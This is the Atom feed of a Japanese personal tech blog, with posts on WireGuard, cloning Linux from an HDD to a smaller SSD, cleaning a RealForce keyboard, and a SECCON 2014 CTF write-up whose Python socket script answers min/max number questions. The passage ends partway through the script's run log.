<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2325413500508558220</id><updated>2024-09-17T04:00:01.453+09:00</updated><category term="Linux"/><category term="ubuntu"/><category term="Xubuntu"/><category term="技術"/><category term="WordPress"/><category term="雑記"/><category term="リモートデスクトップ"/><category term="Python"/><category term="セキュリティ"/><category term="Android"/><category term="Blog"/><category term="Chrome"/><category term="Java"/><category term="Linux mint"/><category term="Lubuntu"/><category term="VNC"/><category term="シェルスクリプト"/><category term="ハッキング"/><category term="OSコマンドインジェクション"/><category term="PHP"/><category term="VPN"/><category term="Windows"/><category term="debian"/><category term="xrdp"/><category term="クラッキング"/><category term="パフォーマンスチューニング"/><category term="マルチメディア"/><category term="暗号"/><category term="脆弱性"/><category term="AES"/><category term="CTF"/><category term="Clone"/><category term="Eclipse"/><category term="Flash"/><category term="Freenet"/><category term="Hacking"/><category term="IO"/><category term="KVM"/><category term="Kickstart"/><category term="Linux メモリ チューニング"/><category term="MACアドレス"/><category term="MATE"/><category term="Mint Mate"/><category term="OSS"/><category term="PerfectDisk"/><category term="PhotoRec"/><category term="RealForce"/><category term="RedHat"/><category term="Terminal"/><category term="WEP"/><category term="WSH"/><category term="WZR-G108"/><category term="Windows8"/><category term="WireGuard"/><category term="Youtube"/><category term="compiz"/><category term="debian-live"/><category term="extundelete"/><category term="fenrir"/><category term="game"/><category term="iPhone"/><category term="lenny"/><category term="live-helper"/><category term="mondo"/><category term="numeron"/><category term="proxmox_VE"/><category term="squeeze"/><category term="usb"/><category term="wine"/><category term="x11vnc"/><category term="xbmc"/><category term="アセンブリ"/><category term="アニメ"/><category term="キーコード"/><category term="キーボード"/><category term="キーマップ"/><category term="デフラグ"/><category term="ハードウェア"/><category term="バックアップ"/><category term="パフォーマンス"/><category term="メディアプレイヤー"/><category term="ランチャ"/><category term="ルータ"/><category term="レジストリ"/><category term="仮想化"/><category term="勉強会"/><category term="復元"/><category term="掃除"/><category term="日本語化"/><category term="自動インストール"/><category term="解読"/><title type='text'>falconws&#39;s blog</title><subtitle type='html'>Linux, Mac, Windows等のOS,その他プログラミング等コンピュータ系技術ブログ</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://falconws.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://falconws.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>66</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2325413500508558220.post-6378268944792741374</id><published>2021-03-04T10:50:00.006+09:00</published><updated>2021-03-04T10:53:02.950+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="VPN"/><category scheme="http://www.blogger.com/atom/ns#" term="WireGuard"/><title type='text'>最新のモダンVPN WireGuardを検証 実践的な設定や運用について</title><content type='html'>&lt;p&gt;Qiita側にタイトルの内容で記事を書いていたのでこちらにも投稿します。&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://qiita.com/falconws/items/4a16f8700855bdd0570c&quot; target=&quot;_blank&quot;&gt;&amp;nbsp;最新のモダンVPN WireGuardを検証 実践的な設定や運用について&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://falconws.blogspot.com/feeds/6378268944792741374/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://falconws.blogspot.com/2021/03/vpn-wireguard.html#comment-form' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/6378268944792741374'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/6378268944792741374'/><link rel='alternate' type='text/html' href='http://falconws.blogspot.com/2021/03/vpn-wireguard.html' title='最新のモダンVPN WireGuardを検証 実践的な設定や運用について'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2325413500508558220.post-8182517001815463499</id><published>2018-01-04T03:32:00.002+09:00</published><updated>2018-01-04T03:32:53.623+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Clone"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><title type='text'>ディスクサイズの大きい HDD 等からディスクサイズの小さい SSD 等への Linux クローン</title><content type='html'>どうしてもうまく行かない理由が分からないので検証内容のメモ。&lt;br /&gt;
500GB 程度の HDD に Linux システムがインストールされている状況で、&lt;br /&gt;
256GB 程度の SSD に換装してディスク I/O 性能を上げたい場合の話。&lt;br /&gt;
HDD の内容を SSD へクローンして SSD 側からシステムを立ち上げて&lt;br /&gt;
元々の HDD はフォーマットしてデータ領域にでもしようとしてなかなかうまく行かない。&lt;br /&gt;
&lt;br /&gt;
前提条件&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;クローン元は /dev/sda1, /dev/sda2, /dev/sda3&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;/dev/sda1 に /, /dev/sda2 に /home, /dev/sda3 は Swap&lt;/li&gt;
&lt;li&gt;パーティションサイズは大きいが、実際に使用している容量はごくわずかだと仮定&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;クローン先は特にパーティションは存在しない状態&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;/dev/sdb として認識していると仮定&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
手順&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;クローン元、クローン先をそれぞれパソコンへ接続した状態にする&lt;/li&gt;
&lt;li&gt;適当な Linux Live USB とかを起動する（一時作業用 Linux 環境）&lt;/li&gt;
&lt;li&gt;クローン先の /dev/sdb へ好みのサイズでパーティションを3つ切る&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;/dev/sdb1（/）, /dev/sdb2（/home）,/dev/sdb3（Swap）&lt;/li&gt;
&lt;li&gt;/dev/sdb1 は Boot Partition なので、boot flag をセットする（fdisk の a コマンド）&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;partclone でそれぞれのパーティションをクローンする&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;クローン元のパーティションサイズがクローン先より大きいとエラーになる&lt;/li&gt;
&lt;li&gt;partclone -C オプションでサイズチェックを無視してもエラーで死ぬ&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;そのため、resize2fs でクローン元のファイルシステムをクローン先パーティションより予め小さくしておく&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;# resize2fs -p /dev/sda1 20G&lt;/li&gt;
&lt;li&gt;# resize2fs -p /dev/sda2 90G&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;li&gt;# partclone -b -s /dev/sda1 -o /dev/sdb1&lt;/li&gt;
&lt;li&gt;# partclone -b -s /dev/sda2 -o /dev/sdb2&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;パーティションテーブルを除くブートローダをクローンする&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;# dd if=/dev/sda of=/dev/sdb bs=446 count=1&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
上記で、/dev/sda の内容が /dev/sdb へ完全にクローンされたはず。&lt;div&gt;
実際にクローン先ディスクのパーティション /dev/sdb1, /dev/sdb2 をそれぞれマウント&lt;/div&gt;
&lt;div&gt;
して確認してみると、正しくマウントできて中身が見える。&lt;/div&gt;
&lt;div&gt;
元のシステムでは /etc/fstab のマウントの指定は、すべて UUID ベースでしており&lt;/div&gt;
&lt;div&gt;
partclone でクローンしたパーティションは例えサイズが異なっていても UUID は同じ値を&lt;/div&gt;
&lt;div&gt;
保持している為、このまま起動するとどちらのデバイスから上がるか予測できないので&lt;/div&gt;
&lt;div&gt;
クローン元ディスクを一旦取り外す。&lt;/div&gt;
&lt;div&gt;
その後、クローン先ディスクのみの状態にしてから起動してみるのだが、&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;Verifying DMI Pool Data ...&lt;/li&gt;
&lt;/ul&gt;
と表示され、全く起動してくれない。&lt;/div&gt;
&lt;div&gt;
なぜうまく行かないのかさっぱりわからない。&lt;/div&gt;
&lt;div&gt;
どなたかもし上記の検証内容を見て問題点に心当たりがある方はコメント頂ければ幸いです。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
英語キーワード検索用:&amp;nbsp;Clone Larger Disk to Smaller&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://falconws.blogspot.com/feeds/8182517001815463499/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://falconws.blogspot.com/2018/01/hdd-ssd-linux.html#comment-form' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/8182517001815463499'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/8182517001815463499'/><link rel='alternate' type='text/html' href='http://falconws.blogspot.com/2018/01/hdd-ssd-linux.html' title='ディスクサイズの大きい HDD 等からディスクサイズの小さい SSD 等への Linux クローン'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2325413500508558220.post-4623386791458581128</id><published>2015-07-05T21:13:00.000+09:00</published><updated>2018-04-01T00:51:14.552+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="RealForce"/><category scheme="http://www.blogger.com/atom/ns#" term="キーボード"/><category scheme="http://www.blogger.com/atom/ns#" term="掃除"/><title type='text'>キーボード（RealForce）を掃除した！</title><content type='html'>キーボードを徹底的に掃除した。&lt;br /&gt;
キートップを全部はずして、キートップ自体は洗濯機で洗濯。&lt;br /&gt;
本体側はエアーダスターで吹き飛ばしつつウェットティッシュや綿棒などで汚れを掃除。&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp58s7zoWZFmut4ELMyxuOME-BWwhNcaK9VxlD42wmmjMmVkRa11a6zQBcLJpEB-vLZ8r-KQYwOYuL5XAUoG4Y4m5zm5KYb0v9V-h_RfDcXkGvajq3drALoRZ-uQTg9wBDuNJPYcSuYldR/s1600/pre_wash.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp58s7zoWZFmut4ELMyxuOME-BWwhNcaK9VxlD42wmmjMmVkRa11a6zQBcLJpEB-vLZ8r-KQYwOYuL5XAUoG4Y4m5zm5KYb0v9V-h_RfDcXkGvajq3drALoRZ-uQTg9wBDuNJPYcSuYldR/s320/pre_wash.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
上記画像が掃除前の状態。まだ1年ちょっとぐらいしか使っていないので、外観的には&lt;br /&gt;
そこまで汚れがひどいようには見えない。&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpXuNKs_YgFS1Z_8OqdtOdPQmbcQFf1wMrHeNfaJYJvMJJ94Olh0w9VzvrHNF0DXrUOlCInk1EG3sR2HqrTLngfn2-QMVdx4l8d2U-chbJ0AZCoKVUJO-YO5qRFOihjuaj8Cbke6FmweX-/s1600/dirty_keyboard.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpXuNKs_YgFS1Z_8OqdtOdPQmbcQFf1wMrHeNfaJYJvMJJ94Olh0w9VzvrHNF0DXrUOlCInk1EG3sR2HqrTLngfn2-QMVdx4l8d2U-chbJ0AZCoKVUJO-YO5qRFOihjuaj8Cbke6FmweX-/s320/dirty_keyboard.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
上記画像が、KeyPuller でキートップを外した直後の状態。。。&lt;br /&gt;
き・・・汚い。。。&lt;br /&gt;
&lt;br /&gt;
外したキートップは洗濯ネットに入れて丸洗い↓&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEueo5J_IKFZyxlM4oS9ULABGEo8bDBhs3DHoBJ5XSz6WeuFoRuSAgnsnkILekKsft510ZI1Y5XoEq6hPnlIGPJnyUc3nM2TcxF9gBSqL7BwT6t2CmYmC84OsT5tSNA5wXJ7yWls1BZxqN/s1600/IMG_20150705_154817.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEueo5J_IKFZyxlM4oS9ULABGEo8bDBhs3DHoBJ5XSz6WeuFoRuSAgnsnkILekKsft510ZI1Y5XoEq6hPnlIGPJnyUc3nM2TcxF9gBSqL7BwT6t2CmYmC84OsT5tSNA5wXJ7yWls1BZxqN/s320/IMG_20150705_154817.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
本体側はエアーダスター、ウェットティッシュ、綿棒等で掃除↓&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixLvz9059coPZacwskr7fUAW_MSCFTIAQJfZykkUhyO9lg9RknCwcjdeEOKie3x6dTJqykSuLYbkjlX5zy3E2Eir6JHtM16jpJDePDjdYXhyphenhyphenwYVIiAp1__2ekKOpfOgcfGt1iYuhoXgrDo/s1600/IMG_20150705_162017.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixLvz9059coPZacwskr7fUAW_MSCFTIAQJfZykkUhyO9lg9RknCwcjdeEOKie3x6dTJqykSuLYbkjlX5zy3E2Eir6JHtM16jpJDePDjdYXhyphenhyphenwYVIiAp1__2ekKOpfOgcfGt1iYuhoXgrDo/s320/IMG_20150705_162017.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
完璧には取れなかったが、汚れというよりはキーボード本体側に傷がついていて、その傷が&lt;br /&gt;
汚れのように見えているだけのように思う。打鍵が強くて傷ついちゃってるのだろうか。。&lt;br /&gt;
&lt;br /&gt;
本体側を掃除している間にキートップの洗濯が終わったので、タオルの上において乾かし↓&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxXCDnASWLwIDgg1yWRm89YTt90qN7Xt-1s8H-OT48PMJj6f4prqC8_0T0fb2_bO713qrevhabKnAXCkNhKvxmfCqm4eFFP3RqnXcEhiQLJNINIi9EX3lKHw4aRuczOgMRKdtUwkxOI5_x/s1600/IMG_20150705_162830.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxXCDnASWLwIDgg1yWRm89YTt90qN7Xt-1s8H-OT48PMJj6f4prqC8_0T0fb2_bO713qrevhabKnAXCkNhKvxmfCqm4eFFP3RqnXcEhiQLJNINIi9EX3lKHw4aRuczOgMRKdtUwkxOI5_x/s320/IMG_20150705_162830.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3時間ぐらいおいてみたが、まだ若干濡れている箇所があったので、ティッシュ等も併用&lt;br /&gt;
しつつ1個ずつ綺麗に拭いて本体へ装着。&lt;br /&gt;
&lt;br /&gt;
出来上がった本体↓&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWu2X2luOm6MS49Xd-akEYVUponYUn4Oz6uWQUI2WYyrdf0xfzWAWCK2aMhXIgoadIjQwxj-n_1Vxv3Jh6Tv4gxcDTZwFqf3gkVu7Fr5zsxcFewNKNefEum3noJ3hyphenhypheni8-Yz3HCf1pLDVIi/s1600/IMG_20150705_205037.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWu2X2luOm6MS49Xd-akEYVUponYUn4Oz6uWQUI2WYyrdf0xfzWAWCK2aMhXIgoadIjQwxj-n_1Vxv3Jh6Tv4gxcDTZwFqf3gkVu7Fr5zsxcFewNKNefEum3noJ3hyphenhypheni8-Yz3HCf1pLDVIi/s320/IMG_20150705_205037.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
画像だと最初の状態と比べてあまり違いがわからないかもしれない。。&lt;br /&gt;
しかし確実に汚れが見えていたので、新品同様に綺麗になったのは確かである。&lt;br /&gt;
&lt;br /&gt;
フラッシュをたいて撮影しても、ご覧の通り綺麗！↓&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2aWTIfNfDonm6GKN5zLQ1aJmK_GDDVLZZi4qFT_Z42qaVNPNlTvCNqMC3FPddD0__emRZbStebMUCIR9m6n08s1aPiwlOyMkJCwDWleyZfkWTm_0BjjgJzMqyMf4MxcO__gUdkOBMylIs/s1600/IMG_20150705_205210.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2aWTIfNfDonm6GKN5zLQ1aJmK_GDDVLZZi4qFT_Z42qaVNPNlTvCNqMC3FPddD0__emRZbStebMUCIR9m6n08s1aPiwlOyMkJCwDWleyZfkWTm_0BjjgJzMqyMf4MxcO__gUdkOBMylIs/s320/IMG_20150705_205210.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://falconws.blogspot.com/feeds/4623386791458581128/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://falconws.blogspot.com/2015/07/realforce.html#comment-form' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/4623386791458581128'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/4623386791458581128'/><link rel='alternate' type='text/html' href='http://falconws.blogspot.com/2015/07/realforce.html' title='キーボード（RealForce）を掃除した！'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp58s7zoWZFmut4ELMyxuOME-BWwhNcaK9VxlD42wmmjMmVkRa11a6zQBcLJpEB-vLZ8r-KQYwOYuL5XAUoG4Y4m5zm5KYb0v9V-h_RfDcXkGvajq3drALoRZ-uQTg9wBDuNJPYcSuYldR/s72-c/pre_wash.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2325413500508558220.post-7981133388556293689</id><published>2014-12-07T19:25:00.000+09:00</published><updated>2019-02-25T21:53:01.260+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CTF"/><category scheme="http://www.blogger.com/atom/ns#" term="Hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="Python"/><category scheme="http://www.blogger.com/atom/ns#" term="ハッキング"/><title type='text'>SECCON 2014 オンライン予選 Writeup</title><content type='html'>2014/12/6 〜 2014/12/7 で、日本最大のCTFイベントであるSECCON 2014 オンライン予選が&lt;br /&gt;
開催されました。&lt;br /&gt;
&lt;br /&gt;
私も自宅から参加させて頂きました。&lt;br /&gt;
&lt;br /&gt;
私が解けた問題の1つについて、僭越ながらWriteupを書かせて頂きます。&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;Choose the number

Genre Programming
Points 100
Question text 
nc number.quals.seccon.jp 31337

sorry fixed URL
&lt;/pre&gt;
こちらのジャンル「Programming」、ポイント「100点」の問題です。&lt;br /&gt;
&lt;br /&gt;
問題文で提示されたソケットに対してncでアクセスすると、下記の応答があります。&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;$ nc number.quals.seccon.jp 31337
0, 6
The minimum number? 
Timeout, bye.
&lt;/pre&gt;
&lt;pre&gt;$ nc number.quals.seccon.jp 31337
5, 1
The minimum number? 5
Wrong, bye.
&lt;/pre&gt;
&lt;pre&gt;$ nc number.quals.seccon.jp 31337
9, 8
The minimum number? 8
-3, -2, 6
The maximum number? 6
0, 5, 7, 0
The maximum number? 7
1, 9, 5, 2, -7
The maximum number? 9
9, 7, -9, 7, -9, 3
The maximum number? 9
0, -1, 8, -2, -5, -6, -7
The maximum number? 8
3, 6, 6, -6, -3, 8, 5, -4
The maximum number? 8
-3, -8, -4, 1, 5, 8, 3, 2, -8
The maximum number? 8
98, 63, 3, -37, 35, -85, 47, 44, 73, -94
The maximum number? 98
-99, 56, 9, -36, -70, 97, -8, -76, -46, 14, -39
The minimum number? -99
-49, 17, 14, -62, -48, 31, 59, -57, 60, 9, 18, -11
The minimum number? -57
Wrong, bye.
&lt;/pre&gt;
提示された数列の中から、最大値もしくは最小値を連続で答えさせる問題です。&lt;br /&gt;
手動で進めていくと、だんだんタイムアウトが厳しくなるようで、人間の判断、入力速度では&lt;br /&gt;
どうしても最後まで進めない感じでした。&lt;br /&gt;
&lt;br /&gt;
ジャンルは「Programming」であることから、自動的に正解値を送り続けるプログラムを組んで&lt;br /&gt;
やれば良いのだと想定出来ます。&lt;br /&gt;
&lt;br /&gt;
まずサーバから送られてくる問題の文字列の規則性を考えてみます。&lt;br /&gt;
1. 数列と最小値 or 最大値を聞いてくる文言の必ず2行で構成されている&lt;br /&gt;
2. 数列は「, 」と、カンマとスペースで区切られている&lt;br /&gt;
3. 数列は問題に正解する毎に数が増えていく&lt;br /&gt;
4. 最小値 or 最大値を聞いてくる文言は、「minimum」か「maximum」の2つしか無い&lt;br /&gt;
5. 最小値 or 最大値を聞いてくる文言の「minimum」か[maximum」は必ず左から2番目の箇所に存在する&lt;br /&gt;
&lt;br /&gt;
以上から、問題文をParseするのは比較的容易な事が分かります。&lt;br /&gt;
また、Parseした結果から正解手を導くアルゴリズムも非常に単純な為、比較的解きやすい問題だと思います。&lt;br /&gt;
&lt;br /&gt;
下記のコードを書いて実行することで、keyが手に入りました。&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;
&lt;code&gt;
#!/usr/bin/env python
# coding=utf-8

import socket
HOST = &#39;number.quals.seccon.jp&#39;
PORT = 31337

def main():
    clientsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    clientsock.connect((HOST, PORT))
    while True:
        rcvmsg = clientsock.recv(4096)
        print rcvmsg
        answer = solve(rcvmsg)
        print answer
        clientsock.sendall(answer)
    clientsock.close()


def solve(rcvmsg):
    # parse
    temp = rcvmsg.split(&quot;\n&quot;)
    str_number_list = temp[0].split(&quot;, &quot;)
    max_or_min = temp[1].split(&quot; &quot;)[1]

    number_list = []
    for i in str_number_list:
        number_list.append(int(i))

    if max_or_min == &quot;minimum&quot;:
        answer = min(number_list)
    else:
        answer = max(number_list)
    return str(answer)
    
if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;
&lt;/pre&gt;
&lt;pre&gt;key: SECCON{Programming is so fun!}
&lt;/pre&gt;
&lt;br /&gt;
下記、実際にコードを実行した時の実行ログです(長いです)。&lt;br /&gt;
&lt;pre&gt;
&lt;code&gt;
2, 8
The minimum number? 
2
5, 5, 0
The minimum number? 
0
-1, 2, 2, -4
The maximum number? 
2
8, 4, 3, -8, 9
The maximum number? 
9
8, -7, 2, -5, 1, 7
The maximum number? 
8
-3, 5, 7, 5, -6, -7, 3
The maximum number? 
7
6, 5, 2, -4, -8, 1, -7, -6
The minimum number? 
-8
4, -3, -5, -9, -5, -1, 4, 7, -9
The minimum number? 
-9
-99, -61, -81, -32, 50, 16, 75, 85, 7, -22
The minimum number? 
-99
82, 30, -28, 10, -23, -92, 27, 16, 14, -92, 78
The minimum number? 
-92
8, 56, -1, -74, -28, 43, -84, -32, -4, -56, 35, -52
The maximum number? 
56
3, 5, 26, -2, -81, 39, -53, 64, 28, 92, -83, -90, 44
The maximum number? 
92
4, 26, -50, 67, -55, 72, -72, -44, -77, -58, 75, 21, 70, 49
The maximum number? 
75
73, 12, -27, 22, 73, -12, 0, -16, 89, 66, 2, -43, -26, -2, -55
The minimum number? 
-55
-72, 5, -47, -80, 45, -3, 73, -95, -85, 58, 89, 22, 61, 60, -75, 27
The minimum number? 
